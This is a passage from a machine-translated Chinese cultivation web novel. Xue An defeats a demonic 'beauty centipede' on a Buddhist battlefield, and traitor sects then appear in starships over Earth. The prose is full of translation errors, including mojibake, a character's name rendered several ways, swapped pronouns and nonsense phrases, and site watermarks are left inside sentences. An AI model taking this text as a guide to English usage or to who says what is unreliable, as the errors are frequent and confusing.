    ''S words shocked An Ying''s body, and then she raised her eyes laboriously and looked at the girl.


    The girl chuckled, "Do you think what I said makes sense?"


    An Ying took a deep breath and finally asked, "What''s your name?"


    "Tsk, did you finally remember asking my name? I thought you wouldn��t ask! My name is Shi Xueqing, do you remember?"


    "Shi Xueqing..." An Ying repeated, always feeling the name a bit familiar.


    "Ahem, you may not know me, but the ancestor of my sect is too famous!"


    "who is it?"


    "Does Fox Ye know?"


    "Fox Fairy King?" An Ying said in shock.


    "Yes, that''s the irresponsible guy!" Shi Xueqing gritted his teeth.


    An Ying didn''t dare to ask why the girl had such a grievance against her ancestor.


    And after bitterly "cursing" Fox Ye, Shi Xueqing turned his head and smiled at An Ying: "Great hero, since you are already awake, then I''ll go to work first, and I can ring the bell next to the bed whenever I have something to do. , I will be here!"


    said, Shi Xueqing turned and wanted to leave.


    "Ahem, please wait a moment!"


    "Huh? Is there anything else?" Shi Xueqing stopped and turned to ask.


    "Uh...that..." An Ying''s face turned a little red, "I just felt that someone was feeding me some water, was that you?"


    "Yes!" Shi Xueqing said.


    "Then...what did you feed with?" An Ying asked with some trepidation, but also with some expectation.


    Shi Xueqing was taken aback first, and then looked at An Ying meaningfully, "What are you asking about?"


    "No...nothing, I just just ask...." An Ying said weakly.


    "Bah, don''t think I don''t know what is thinking in your head!" Shi Xueqing took a sip, then said calmly.


    "I just came in when you opened your eyes. It was a tall and strong man who fed you water before, understand?"


    "Ah!" An Ying exclaimed.


    "Hmph! Ah, it''s useless, my old lady is gone!" After that, Shi Xueqing turned around and walked away.


    Waiting for her front foot to leave, the frustration on An Ying''s face was wiped out, and then she licked her lips Hehe smile.


    "Want to lie to me? How could it be possible! There is still a scent on my lips. Is this something a big man can have?"


    At the same time, Xueqing felt a fever on her face when she walked out of the room.


    Since the Great Tribulation opened, she resolutely closed Lingying Palace and went down to Fanjing Mountain.


    But because of her lack of strength, she can only stay in the earth and do logistics work.


    Because Lingying Palace enshrines this Fox Night, it stands to reason that with Fox Night''s current strength, Shi Xueqing''s cultivation level should also rise.


    I don''t know if it was Hu Ye deliberately or if he forgot it. After so many years, Shi Xueqing''s strength has not improved.


    This is also the reason why Shi Xueqing''s hatred of Fox Ye is so itchy.


    But since he was sent to the hospital to take care of the wounded, Shi Xueqing had no choice but to admit it.


    And because of her special bonus, the wounded in her care recover much faster than the others.


    Until this time I met An Ying.


    In Yue Qinghuan''s words, he was almost beaten.


    After ���� came back, it took three hours to clean up the wound. At that time, many people thought it was difficult for him to wake up.


    Even if I wake up, I have to have serious sequelae.


    But somehow, after seeing the dying An Ying, Shi Xueqing''s heart moved, especially after hearing his deeds, she made up her mind to wake him up.


    That''s why the first scene appears.

 Chapter 2141： Beauty centipede

    At the same time, in the battlefield of the Pure Land Buddha Kingdom, Fox Ye struggling to kill a wave of evil insects that rushed up.


    Then he approached Xue An out of breath, and said in a bit of surprise: "Old Xue, do you think these evil things are something wrong these past few days?"


    "Oh? What''s wrong?" Xue An easily shattered dozens of bone chariots with a quick blow, and then said lightly.


    "I found that since I defeated you and destroyed the double-headed evil thing, there has been no powerful evil thing on the battlefield again, and the calmness is even worse than when the battle first started." Fox Ye said.


    "Yes, I have this feeling too!" Ye Hanshang also leaned over at this time, and said with some confusion.


    "I think it''s possible that this group of evil creatures are a little slack because they can''t attack for a long time!" Tianzhuna said suddenly.


    "I guess it''s not that simple, because this group of evil creatures have a very well-organized attack. Obviously there is a very high IQ who is in charge behind them, so this anomaly proves that they must be brewing some big conspiracy!" Ye Hanshang''s face was sinking. Said.


    And this inference also made everyone present shudder.


    "The big conspiracy... what big conspiracy would it be?" Tianzhe said solemnly.


    Xue An''s eyes also flashed a strange brilliance, and then said lightly: "No matter what kind of conspiracy they are brewing, I just have to deal with it calmly and don''t care too much."


    Everyone nodded after hearing this.


    "Old Xue is right. Soldiers will block the water and come to the village. We only need to calmly deal with it!" Ye Hanshang also echoed.


    Hu Yebai glanced at him, "I need you to say it? I''ve never been scared, little master. Unlike some people, I think about big conspiracies all day long!"


    "Oh, surname Hu, are you itchy? Do you want me to relax?"


    "Cut, frighten someone, Xiaoye, I am now a half-step immortal emperor''s cultivation base, I don''t have the same knowledge of the immortal king!" Hu Ye said smugly.


    Ye Hanchang rolled up his sleeves and said, "Half a step to the immortal emperor, right? Do you have the guts to fight with the immortal king of my district, and see who is great!"


    Hu Ye rolled his eyes, "If you let me hit me, then hit me? Why do I listen to you so much!"


    The two began their daily quarrels again, and Chu Wuxiang and Tian Zona were already quite surprised about it, and they dispersed without even stopping.


    Xue An stood there and watched quietly, until the two of them were holding each other''s clothes like children and preparing to tear each other, he said helplessly.


    "Can you two be more mature? A half-step immortal emperor, a top immortal king, how can you pull and pull like two fools?"


    "Old Xue, don''t worry about this, today I have to let him know how good I am!" Ye Hanshang said, grabbing Huye''s collar.


    "Joke, if I don''t convince you today, I will write my name backwards!" Hu Ye did not give in.


    Xue An couldn''t laugh or cry when he saw this.


    He was completely helpless with this pair of live treasures, so after a few steps back, he turned and left.


    But at this moment, the evil insects on the entire battlefield suddenly receded like a tide.


    Many of the strong men who were fighting in the first place, some of them couldn''t help but almost fell to the ground.


    "How is this going?"


    "What happened to these evil worms? Are they going to retreat?"


    The whole audience was shocked for a while.


    Xue An naturally saw this scene, but his face was full of dignity, and slowly said: "Something''s wrong!"


    Ye Hanshang and Huye, who were still tearing at this moment, had also come close to Xue An, and then said solemnly.


    "Yes, something is really wrong!"


    At this moment, all the boundless evil insects gathered in front of the bronze gate, and then prayed towards the bronze gate, as if they were welcoming the arrival of their king.


    And along with their worship, the brilliance in the bronze gate also flickered crazily.


    This scene caused everyone''s hearts to mention their throats.


    Chu Wuxiang, Hu Ye and the others looked at each other, and then they immediately dispersed to form a battle formation, the center of which was the huge bronze gate.


    At the same time, I listened to the sound of singing in the Tongmen.


    This voice was like weeping, lingering, and it made many people''s faces instantly appear obsessed.


    Upon seeing this, Yue Sha immediately took a step forward, "Nan Wuwu Buddha!"


    His move also reminded the rest of the Buddha cultivators. Everyone put their palms together and chanted the mantras. The sound shook the audience and also awakened the obsessed people.


    After the chanting was forcibly interrupted, the owner of the voice suddenly sighed.


    "Why do you have to interrupt me? Isn''t it good to die so happy?"


    The voice of this speech was very cold and beautiful, at least Huye couldn''t help but whispered: "This little voice is fine, it should be a big beauty!"


    At the same time, the brilliance in the bronze door suddenly began to converge, and then an existence slowly emerged.


    When it appeared in front of everyone,


    "Fuck, what the **** is this?" Fox Ye, who just sighed that she would be a great beauty, couldn''t help but say in astonishment after seeing this existence.


    Not only him, the whole audience was shocked.


    Because the presence in the field at this moment is really incredible.


    This is a huge centipede, with a body length of several hundred feet, and entangled together like a snake. The densely packed feet are still wriggling, making the scalp numb.


    But if it were nothing more than that, it wouldn''t make everyone so shocked.


    What really moved and frightened was its head.


    I saw half of the beautiful body growing on the centipede''s head.


    The delicate skin, the delicate face of melon seeds, including a pair of cut eyes, all prove that this is a big beauty.


    But the problem is that no matter how beautiful the beauty is ~ www.novelhall.com~ when she grows on a centipede, she is no longer pleasing to the eye.


    "Little fox, didn''t you just say that it should be a big beauty, now it belongs to you!" Ye Hanshang teased.


    Fox Ye''s face was extremely ugly, "Stop making trouble, I feel like nausea now!"


    At this moment, the beautiful centipede flashed across the audience, then covered her mouth and smiled.


    I have to say that the sound it laughs is really like a silver bell, which is very beautiful.


    The sound of laughter that can be heard from its mouth will only make the whole body stand upright.


    "It''s kind of interesting, no wonder I can persist under the attack of evil worms for so long, there are so many delicious spirits, I am really excited to think about it!"


    As he said, it stretched out its tongue and gently licked its lips, which looked very charming.


    Li Jingxing, who has been standing on the front line of the battlefield without speaking, can''t help but frown, "Where is the evil demon, dare to come here to be rampant and die!"

 Chapter 2142： Weeping

    As he said, a ray of sword light suddenly appeared in front of him, and then directly cut down.


    But this beautiful centipede just giggled a few times when facing this sword.


    In the laughter, the sword light was directly shattered just before it was close, and then turned into nothing.


    When everyone saw this, their eyelids twitched.


    You know that was a sword issued by the sword emperor Li Jingxing!


    As a result, this beautiful centipede didn''t even move, and it was easily resolved.


    How terrifying is this strength!


    At the same time, I saw this beautiful centipede chugly saying: "Oh, how come you call and kill as soon as you meet? She is a weak woman!"


    But as soon as its voice fell, a long sword glowing with a faint red light penetrated its chest and abdomen, and then emerged from the front.


    The huge body of this beautiful centipede struggled and wriggled, but it slowly turned its head and looked at the person behind him.


    I saw Xue An holding the Tianzhu sword in his hand, looking at it faintly, and then said in a cold voice: "Sorry, in my eyes, you are not even a human being, let alone a woman!"


    With that, Xue An''s wrist turned, and Tianzhu Sword began to stir frantically.


    "Damn, old Xue is so handsome!" Hu Ye couldn''t help sighing.


    But at this moment, something strange happened, and there was no pain on the beauty of the centipede''s face. Instead, she looked at Xue An with interest and suddenly said.


    "I finally understand why the waste of Hydra failed. You are indeed a very interesting person!"


    Xue An raised his eyebrows slightly when he heard the words, because at this time, he had also discovered that although he had pierced the body of this beautiful centipede with a sword, no blood was gushing out, and the Tianzhu Sword had not absorbed any evil.


    But he quickly recovered his calm, didn''t even step back, but said indifferently: "Oh? Do you recognize Hydra?"


    "Of course, that waste was supposed to become my food after the failure, but unfortunately it was lucky and was taken away by an adult!"


    With that, the beautiful centipede''s body suddenly disintegrated, turned into a blood mist, and then instantly appeared behind Xue An, reunited into the figure of a woman.


    At this time, it was no different from the human race, and it became more and more beautiful.


    Immediately afterwards, it leaned down and whispered softly in Xue An''s ear.


    "Xue An, you really deserve the attention of adults. I can''t even bear to kill you. If you are willing to return to me, I can intercede with the adults and only destroy your body and retain your spirituality. ,what do you think?"


    Xue An didn''t even move, and didn''t even look back at the woman. "If you say this, do I still want to thank you?"


    The woman giggled, "Of course, after all, because of the crime you committed, you should have died countless times, so of course you have to thank me!"


    At this moment, in the eyes of everyone, Xue An and this beautiful centipede are like close friends talking.


    Especially this beautiful centipede is still snuggling up behind Xue An, but Xue An has no defense at all.


    This can not help many people squeeze a cold sweat for him.


    "Haha!" At this moment, Xue An sneered, then a cold light flashed in his eyes.


    "Since you know why Hydra lost, then you should also know what my answer is!"


    The beautiful centipede sighed softly when she heard the words, "It''s a pity. Seriously, there are very few human races that can fascinate me, especially in such a remote place. Are you really not considering it?"


    Xue An did not speak, but used actions to show his attitude.


    I saw that countless sword lights suddenly appeared around his body, and they were condensed into one body in an instant, and pierced behind him.


    Bang!


    The body of the beautiful centipede disintegrated again, and after it appeared again, it had appeared in the distant void.


    "Very well, since you are so obsessive, then I will teach you a lesson!"


    But before the words fell, Xue Anye rushed to him one step at a time, and then raised his hand and punched.


    This fist smashed into the face of this beautiful centipede directly with the force of thunder.


    Bang!


    This beautiful centipede failed to escape this time, and was blown out by a punch.


    After landing, her proud face was sunken in, like a rag doll that had been smashed, it was creepy.


    "Ah ah ah bastard, dare to damage my face, Xue An, you will definitely die!"


    The beautiful centipede let out a scream.


    "I''m tired of hearing this sentence!" Xue An said coldly, and then rushed forward again.


    But at this moment, the beautiful centipede suddenly raised her head and let out a sharp howl.


    When the sound was over, even these evil worms who were kneeling on the ground were not spared and were directly shocked into powder.


    And all the people who heard this howl showed pain on their faces.


    Someone was covering their ears, but blood still gushing from both ears.


    Xue An, who was the nearest, was the first to bear the brunt. He only felt an extremely evil spirit poured into his ears, directly shaking his own sea of ??consciousness.


    boom!


    Xue An''s masterpiece of brilliance between the eyebrows was a manifestation of his divine consciousness being urged to the extreme, and then he interrupted the howling of this beautiful centipede.


    But in his sea of ??knowledge, a more dangerous battle is going on.


    The black spirit that represents the beautiful centipede kept bombarding Xue An''s sea of ??consciousness, and Xue An''s spirit rose to resist.


    The two are entangled together, making it difficult to distinguish.


    This is the first time Xue An has encountered an existence that can shake his divine consciousness in so many years.


    But it was this beautiful centipede that surprised him even more.


    A blow that she thought was sure to win, but the result was flat, which made her feel terrified.


    Then Xue An��s screams came from the sea of ??knowledge, ��How is this possible? How can you have such a powerful spiritual mind?��


    Xue An sneered coldly, "There are so many things you don''t know!"


    With that, Xue An��s spiritual thoughts set off a stormy sea, and went straight to the beautiful centipede opposite!


    This beautiful centipede soon woke up from the shock, UU reading www.uukanshu. com then sneered for a while.


    "Xue An, you are indeed very powerful, and you can even share my spirit with me in the body of the emperor, but you still don''t understand, where did you lose!"


    After all, the boundless black spirit went straight to the opposite side.


    Not only that, in the outside world, a sneer appeared on the corner of this beautiful centipede''s mouth.


    "Xue An, I see how long you can last, and even if you can wake up, everything is too late!"


    After all, the beautiful centipede looked down at the people under her feet, and then sang softly.


    The chanting sound is lingering, like weeping like a complaint, it makes people indulge in it instantly


    But this beautiful singing is actually very scary, because it was just a moment.


    Several strong men who were close to him were shattered on the spot and became a dead body.


    The sound of singing spread throughout the battlefield.

 Chapter 2143： Prajna Heart Sutra

    Everywhere the sound waves passed, countless people were obsessed.


    "Everyone immediately closes their hearing and don''t listen to its singing!" Hu Huan shouted immediately.


    The sound roared like thunder, which temporarily suppressed the chanting sound, and also caused many people to wake up.


    But even he, who is the immortal emperor, only interrupted the singing of this beautiful centipede for a moment.


    Immediately afterwards, I saw this beautiful centipede sneer, "I can''t help myself!"


    Then the chanting sound suddenly increased, and at the same time, accompanied by the majestic divine power pressure, he went straight to Fox Huan.


    Huhuan, who was not known for his spiritual thoughts, snorted, and then he made no sound anymore.


    Because as soon as he touched, his spirit was dragged into the battle fantasy by this beautiful centipede.


    Even the **** of the immortal emperor can barely protect himself.


    But after the Huhuan was solved neatly and swiftly, the singing voice of the beautiful centipede was no longer blocked, and it instantly enveloped the audience, and its power was several times stronger than before.


    In an instant, the eyes of countless people began to become dull, which was a symbol of their spirits being gradually controlled.


    Seeing this beautiful centipede, she wanted to control all the strong. At this moment, she heard a weak but extremely firm voice of praise from the crowd.


    "The Bodhisattva Avalokitesvara, who walks deep prajna paramita for a long time, sees that the five aggregates are empty, and saves all suffering..."


    The voice trembled slightly, but it contained supreme courage.


    The beautiful centipede couldn''t help but froze for a moment, and immediately looked into the crowd, but saw a thin little loli slowly walking out of the crowd.


    This is a young girl about ten years old, born with a pair of black and white eyes, her eyes are clear and calm.


    The most eye-catching thing is the red mole on her eyebrows, as if cinnabar dots on it, it is as red as blood, even with a touch of sacred color on her face.


    It is Xiao Yingluo who has been following Yuesha.


    In fact, her strength was not enough to come to this battlefield, but because of her almost stubborn request, Yuesha had no choice but to sneak her into the battlefield.


    Unexpectedly, at this moment, almost all the strong players in the audience have already fallen, but she is the only one who seems to be unaffected by this singing, walking forward step by step.


    Although she was trembling all over because of the enormous pressure, her footsteps were exceptionally firm, and the chanting in her mouth never stopped.


    "The relic is not different from the emptiness and the emptiness is not different. The form is the emptiness and the physical, and the perception and consciousness are the same. The relic is the dharma, the emptiness, the emptiness, the decay, the purity, the increase and the decrease..."


    Maha Prajna Paramita Heart Sutra!


    One of the most important sutras of Buddhist cultivation is short and succinct, and at the same time it contains supreme power, which is good at destroying all evil ways and foreign laws.


    At this moment, when she read it out of Yingluo''s mouth, she possessed unimaginable power.


    A faint golden light emerged from her body, and magically suppressed the singing of the beautiful centipede.


    Not only that, when the golden light passed, Yuesha Maitreya, who was also trapped in chanting and unable to extricate himself, waited for the Buddha to wake up immediately.


    When they saw Ying Luo standing in front of the crowd and exuding golden light with their small body, they were first startled, and even if they folded their palms together, they chanted together.


    boom!


    When Yue Sha Maitreya chanted in unison, golden light suddenly emerged from their heads, gathered together, and then blessed everyone present.


    In an instant, everyone moved.


    The singing of the beautiful centipede could no longer continue and was abruptly interrupted.


    Xiao Yingluo didn''t realize this, but continued to bow her head and chant the scriptures.


    "The Buddhas of the three generations, relying on the Prajna Paramita for many reasons, have gained the Three Bodhisattva of Amitala..."


    The golden light continued to converge, setting off her small body to become sacred.


    When Yue Ji and Maitreya and other Buddhas saw this scene, they couldn''t help showing surprise. Then they folded their palms in infinite joy.


    "Nan Wuwu Buddha, the little benefactor''s roots of wisdom are so deep that he is detached at this moment!" Maitreya exclaimed.


    Only Yuesha looked worried and watched silently.


    As for this beautiful centipede, instead of being annoyed, she giggled and looked at Xiao Yingluo who was standing at the forefront with a playful look.


    "Interesting, I am immune to my singing! But do you think that is enough?"


    With the voice, I saw that the huge torso of the beautiful centipede, which was hundreds of meters long, suddenly began to tremble, and then the densely packed steps scattered, transformed into a strip of colorful poisonous insects, and rushed towards Yingluo.


    But when these poisonous insects had just rushed to the front, they saw a figure blocking Yingluo''s face, and then swiped out.


    boom!


    A golden handprint directly blasted countless poisonous insects, and then saw the Vajra hand standing proudly in the tantric womb.


    "Monster, you dare to be rampant in front of my vajra?"


    "Tsk tusk!" The beautiful centipede didn''t show the slightest fear, but kept tusk, "When I was outside the sky, what I hate the most is your bunch of bald donkeys. I didn''t expect to meet you here, so go and die first! "


    The words fell, but seeing the beautiful centipede took a deep breath and suddenly opened her mouth, her originally charming mouth instantly grinned to the back of her head, revealing the hideous and terrifying face below, and then let out a sharp howl.


    The howl this time was more violent than the previous chanting, and at least instantly made dozens of less powerful people headshots on the spot.


    As for other people, their faces were extremely painful. Some people''s eyes burst into flames, and it was clear that their souls were suffering from extreme pain.


    But the main targets of howling this time were Yingluo, Yueji and others.


    In an instant, the golden light gathered because of the chanting of the scriptures just trembling under the pressure of the huge divine consciousness.


    Yingluo''s face also showed pain, and even the voice of chanting scriptures trembled.


    As for other Buddhism cultivation, I feel that the Zen mind is shaking, and it is in danger of overturning at any time.


    Seeing this scene, Yue Sha suddenly shouted: "Everyone immediately cross-legged into concentration!"


    After all, he took the lead to sit down, and then began to follow Yingluo to chant the scriptures aloud with a decisive attitude.


    "The Bodhisattva Guan Zizhen..."


    He was the only one at the beginning, but soon, Yue Ji, Maitreya and others also sat cross-legged, putting everything aside from life and death, and began to recite the scriptures.


    The sounds gathered together to form a mighty torrent, and had a head-on confrontation with the howl of this beautiful centipede.


    boom!


    The buddhas trembled together, and Yuesha opened his mouth and vomited a big mouthful of blood, but even so his chanting continued, and instead became louder and louder.


    Not only that, when they saw these Buddhist practices, the rest of the people began to chant together.


    For a time, the entire battlefield was occupied by the sound of chanting scriptures.


    "The color is not different, the empty is not the color!"


    "There is no suffering, no wisdom, no gain, without suffering, Bodhisattva!"


    All sorts of mysterious scriptures made this beautiful centipede''s face appear a touch of jealousy, even if she growled into anger into anger.


    "Die all to me!"


    Having said that, it will increase the weight again, trying to completely smash everyone''s defense.


    But at this moment, a faint voice came from behind it.


    "I really want to know, what are you waiting for!"

 Chapter 2144： Crisis appears

    The beautiful centipede was shocked by the words, but it reacted extremely quickly, and instantly abandoned the bulky body that was hundreds of meters long, and disintegrated into a blood mist, trying to escape.


    But everything was too late. Her body had just turned into a blood mist, and a white and slender hand passed through the barriers and reached directly into the blood mist.


    boom!


    The blood mist trembled frantically and turned into countless weird phantoms of poisonous insects, trying to stop Xue An.


    But Xue An''s hand was stable like a mountain, without trembling at all.


    Click!


    With a soft sound, the blood mist suddenly converged, and then the body of this beautiful centipede appeared again.


    It''s just that at this time, it has no longer its previous arrogance.


    Because Xue An''s hand was pinched on its neck.


    All of a sudden, the audience fell silent.


    The people who were traumatized by howling looked at the scene in the sky panting.


    At the same time, Fox Huan, who had also been dragged into the illusion of the battlefield, awakened with Divine Mind, and then took a breath, looking at the beautiful centipede in the distance, gritted his teeth.


    "Old Xue, you should be careful, this stinky lady is so tight, I almost got rid of it!"


    Xue An did not respond to Hu Huan''s words, but stared coldly at this beautiful centipede.


    "You said before that even if I wake up, it''s too late. What do you mean?"


    This beautiful centipede has not yet woken up from the great consternation.


    Because it really couldn''t understand how Xue An, who had been successfully dragged into the illusion by himself, and had even closed the sea of ??knowledge by himself, got out of trouble in such a short time.


    Seems to feel its astonishment, Xue An sneered coldly.


    "Your divine mind is very powerful, you can even become two and block me in the sea of ??knowledge, but do you really think that my divine mind is only the point you see?"


    With the voice, Xue An''s eyes suddenly showed an extremely bright brilliance.


    The coercion of the huge divine mind suddenly came, and the beautiful centipede''s pupils instantly shrank to the size of a needle, and at the same time, her face curled up in horror.


    Because it has no doubt that as long as he dares to make the slightest change, then Xue An will definitely kill himself.


    "So answer me now, what are you waiting for?" Xue An said coldly.


    The beauty centipede no longer had the arrogance before, and saw it shiveringly said: "I don''t know, the adult who sent me just told me, let me try my best to delay time, especially to drag you here!"


    As soon as this remark came out, the audience shook.


    Because everyone felt a chill.


    If it is true as this beautiful centipede said, then what exactly do these evil things want to do?


    At the same time, Xue An raised his eyebrows even more, "Who ordered you to come then? What is their plan?"


    "I really don''t know! As for the person who sent me...I only know that he is a new subordinate of the adult, named Luo Wuqing!"


    boom!


    Ruthless!


    These three words make many people look upset.


    Because this name is the Lord of the People''s Palace!


    It''s just that he disappeared suddenly behind him, and there was no news from now on, but he didn''t expect to suddenly appear in the mouth of this beautiful centipede now.


    After hearing this name, Xue An''s complexion suddenly became extremely ugly.


    Because he suddenly thought of a possibility!


    Only if this is possible will these evil creatures send this beautiful centipede to delay time.


    Because from the time this beautiful centipede was dispatched, it was equivalent to announcing that it had been abandoned.


    It''s ridiculous that this beautiful centipede still thinks she''s very powerful, but in fact it has long since become a discarded chess piece.


    Thinking of this, Xue An didn''t hesitate anymore, completely ignoring this beautiful centipede''s begging for mercy, and put his palms together.


    Bang!


    The beautiful centipede''s neck was severed.


    But this is not a fatal injury to it, instead, it took this opportunity to quickly turn into blood mist and try to escape.


    But Xue An didn''t give it this chance at all, and saw Xue An stab it out with a sharp sword.


    Tianzhu Sword stabbed into the blood mist at a strange angle.


    "Ah ah ah ah!" Xue Wu sounded in anguish cries, as well as the blood rushes out.


    Xue An''s face was expressionless, his wrist turned, and the Tianzhu Sword slashed across, directly cutting the blood mist into two pieces.


    Then countless evil spirits escaped from it and were absorbed by Tianzhu Sword.


    In an instant, the blood mist dissipated, and the beautiful centipede disappeared.


    The Tianzhu sword became more and more red, and its power became more and more powerful.


    At this time, Hu Ye and Ye Hanshang also rushed over.


    "Old Xue, what''s going on? What conspiracy are these evil things doing?" Hu Ye asked urgently.


    Xue An''s face was pale, and two words popped out of his teeth, "Earth!"


    Hu Ye, Ye Hanshang and others all changed in color.


    "You mean that these evil things are deliberately delaying here, but the actual target is the earth?"


    Xue An nodded, and at the same time the brilliance in his eyes flickered, and the aura from heaven and earth kept pouring in, crazily repairing the divine consciousness damaged by the battle.


    Don''t look at Xue An''s understatement after waking up and then wiped out this beautiful centipede, but in fact, the danger he experienced was unknown to outsiders.


    After being trapped in the sea of ??knowledge at that time, the beauty of the centipede began to swallow continuously, gradually becoming stronger, and gradually becoming an anti-object-oriented trend.


    If it is estimated by others, there will be no recovery.


    But Xue An was reborn for the second time, and his Dao heart was even stronger. He actually went through many illusions abruptly, and finally succeeded in extinguishing the beauty of the centipede.


    But because of this, his soul has been shaken a little. If it is put in normal times, this small injury is not important at all, and Xue An will not care about it.


    But now Xue An is very clear about what he is about to face. In order to increase his chances of winning as much as possible, Xue An must return to the most perfect posture as soon as possible And at this moment, Fox Night is full of faces. After being shocked, he suddenly said: "No, Old Xue, didn''t you say before that these evil things can only pass through this bronze door if they want to enter the heavens? Then how did they get to the earth?"


    Xue An raised his eyes to look at the distant space-time passage, his eyes gradually cold, and then he said coldly: "Who said they were evil things?"


    Hu Ye was shocked, "You mean..."


    "Yes, it''s the imperial palace and Xuan Ming Ling who defected before!"


    After saying this, Xue An''s vitality and blood flowed unimpeded, and at the same time his aura climbed steadily, but the more so, his pair of eyes became quieter, and in the end, it was even as deep as a black pool, which was breathtaking.


    Then he said in a deep voice, "Sword Master Li, Huhuan and the people of Pure Land Tantric are guarding here, and the rest will come with me!"


    When the words fell, Xue An stood up and went straight to the empty passage at that time.


    And behind him, there is a torrent of infinite brilliance!

 Chapter 2145： The sun and the moon disappear, the sky and the earth are dark

    Earth.


    At this moment, in the wartime hospital in Zhongdu, it can be described as a busy scene.


    Medical experts and powerful people from almost the entire world have gathered here, making this place instantly become the center of attention of people all over the world.


    After all, in the words of General Zhen Guo, anyone who can enter the battlefield and return, whether he kills the enemy or not, is a true hero.


    And since it is a hero, it is natural to have the courtesy that a hero deserves.


    Therefore, all configurations and supplies of this hospital are of the highest authority and unlimited.


    Not only that, because the time flow between the earth and the Pure Land Buddha Kingdom is different, resulting in a one-day live broadcast blank period every three days.


    For this reason, the live broadcast team headed by Chen Xiaoyi temporarily withdrew from the frontline battlefield and instead stationed in this hospital, recording everything that happened and broadcasting it.


    For a while, everything about this hospital became a topic of most concern to the public, and no news could be compared.


    Many people who work in the hospital have a very high popularity because of this, but the most popular are two small employees who have only recently "joined".


    That''s right!


    It''s just thinking about and thinking about this little girl.


    Since that day the two of them followed Yue Qinghuan to see that everyone was working hard for this war.


    The two of them could no longer stay at home.


    At their strong request, An Yan had to take them to the hospital to help.


    At the beginning, almost everyone thought it was just a temporary rise of a child. After a few days of freshness, they naturally quit.


    But I never expected that thinking and thinking not only persevered, but also did a good job, as if they were already two qualified young nurses.


    This kind of performance also made everyone admire them both, and it won the love of people all over the world.


    Although the two of them had extremely high popularity on the Internet before, most of them were because of Xue An.


    Only this time, they won everyone''s approval by virtue of their tenacity and bravery.


    "Uncle Xie, did you make something delicious for us today?" The guard in front of the door smiled when he saw Lao Xie.


    "Eat, eat, you know how to eat all day long, what I made today is for the seriously wounded, you cats are not qualified to taste it!" Old Xie scolded.


    "Hey, we know, can''t you even smell it if you can''t eat it?" The guard said with a smile on his face.


    "Bah!" Old Xie sipped, "Smell the smell? I''m afraid I can''t get it out of my nose!"


    Despite such a "vicious" curse, Lao Xie finally took out a piece of packaged meat from his pocket and threw it over.


    "That''s the rest, don''t want me to feed the dog!"


    "You want it, of course you want it!" The guard hurriedly received it. After opening it, he compelled to take a sip, and then gave it a thumbs up with a smile.


    "Uncle Xie has nothing to say about this cooking skill!"


    Old Xie snorted proudly, "Isn''t that nonsense!"


    Saying that, Lao Xie walked into the hospital with a big bag on his back.


    "Uncle Xie!"


    "Hello Uncle Xie!"


    "Uncle Xie made something delicious today!"


    People in the past all smiled and greeted him after seeing Lao Xie.


    Lao Xie also nodded vigorously in response, and then went straight through the corridor to the wounded area.


    But before he could go in, the two little girls, Xiangxiang and Niannian, came out a little tired.


    As soon as he saw these two little girls, Lao Xie''s face was immediately filled with kind smiles, and he waved vigorously.


    "Miss me!"


    Miss Miss Nian ran over excitedly when she saw Lao Xie.


    "Grandpa Xie, what good food did you bring today?" Nian Nian couldn''t wait to pick up Lao Xie''s rucksack and asked.


    Old Xie lovingly touched the heads of the two little girls, and then took out an exquisite snack box from his rucksack.


    "Here! Two little greedy cats, see if you are still satisfied!"


    Thinking and Niannian took a look, and immediately shouted in surprise.


    "Wow, it''s strawberry ice cream!"


    "There are so many and so many delicious!"


    After speaking, the two of them gorged themselves with their food boxes and ate them.


    At this moment, Xie Jingjing also walked out.


    "dad!"


    "Yeah!" Lao Xie took off his rucksack behind him, and then solemnly handed it to his daughter.


    "How is your situation today?"


    "There are several situations that are not optimistic, but Mr. Zhuge said that his life should be fine!"


    Old Xie nodded, "Go, remember that the green food box was specially prepared for Mr. Zhuge, so I can add brain power!"


    "Ok!"


    Xie Jingjing turned and walked in with her rucksack.


    This is just a trivial episode in this hospital.


    Because such things happen every day.


    Countless people generously donated their most precious things, hoping to do something for the soldiers on the front line.


    These people may not have any powerful abilities, or even an ordinary mortal, but in the face of this catastrophe, they still showed unimaginable unity.


    This is what Yue Qinghuan has been sighing.


    For example, she is standing on the top of the tallest building closest to the battlefield hospital, watching the scene at her feet, and then sighing slightly.


    "Now it''s okay, even the two little girls are busy, no one chats with me at all!"


    With that, she opened the water mirror boredly, wanting to take a look at the scene on the battlefield.


    But there is still a white mist in the water mirror.


    It is not only the live broadcast on the earth that is disconnected because of the different flow of time, but also the method of wearing her water mirror has failed.


    "It''s almost a day, why don''t you go for a stroll on the battlefield?" Yue Qinghuan whispered to himself.


    But then she frowned again, "What if the evil things see me?"


    But soon she convinced herself, "What can I see? I don''t dare to talk nonsense with a hundred of them! Yes, just do it!"


    With that said, she barely touched the ground, and the whole person wanted to escape into the void But at this moment, the originally extremely tame and obedient void shocked Yue Qinghuan again.


    "What''s the matter? Someone blocked the earth?" Yue Qinghuan was slightly startled, even if he felt something, he immediately looked up.


    At the same time, Zhuge Zang, who was busy treating the wounded in the battlefield hospital, immediately raised his head and looked at the sky outside the window with shocked expression on his face.


    "Mr. Zhuge, what''s the matter?" An Yan, who was on the sidelines, asked immediately.


    "This breath...!" Zhuge Zangyaguan said these words tremblingly.


    At this moment, all the strong men in the field hospital and nearby guards, including Anyan, felt a strong heart palpitations, and then raised their heads, looking towards the sky with horror.


    The sky at this time is getting darker at a speed visible to the naked eye.


    In an instant, the sun and the moon disappeared, the sky was no light, and the entire sky was shrouded in total darkness.

 Chapter 2146： All the traitors

    Immediately afterwards, I saw a little light glowing under the dark iron sky.


    These lights are like stars, but their appearance makes people all over the world feel a strong pressure.


    And when this glow completely appeared in front of everyone.


    Almost everyone was dumbfounded.


    Because where is the brilliance, it is clearly a huge starship spacecraft!


    now.


    These starships hovered quietly above the sky, each of which was extremely hideous and weird, and exuded extremely terrifying power.


    After seeing this scene, Yue Qinghuan''s eyes flashed in the eyes of Yue Qinghuan, who was standing on top of the tall building, and then whispered with a sneer: "It''s just a group of traitors who sell their souls. I really think I am someone!"


    "But this scheme is really treacherous, Xue An, now it''s up to you if you can make it in time!"


    Following the voice, Yue Qinghuan stepped back a little, and then disappeared into the darkness.


    At the same time, when Zhuge Zang looked at the neatly arranged star boats, he couldn''t help groaning.


    "Human Emperor Hall, Xuan Ming Tomb, and Qing Hailou Jingyue Division..., the people who disappeared back then have all returned!"


    His words were not loud, but the nearest An Yan heard them clearly.


    After hearing that the people who came were actually the sects who had disappeared suddenly, An Yan also immediately realized the seriousness of the problem.


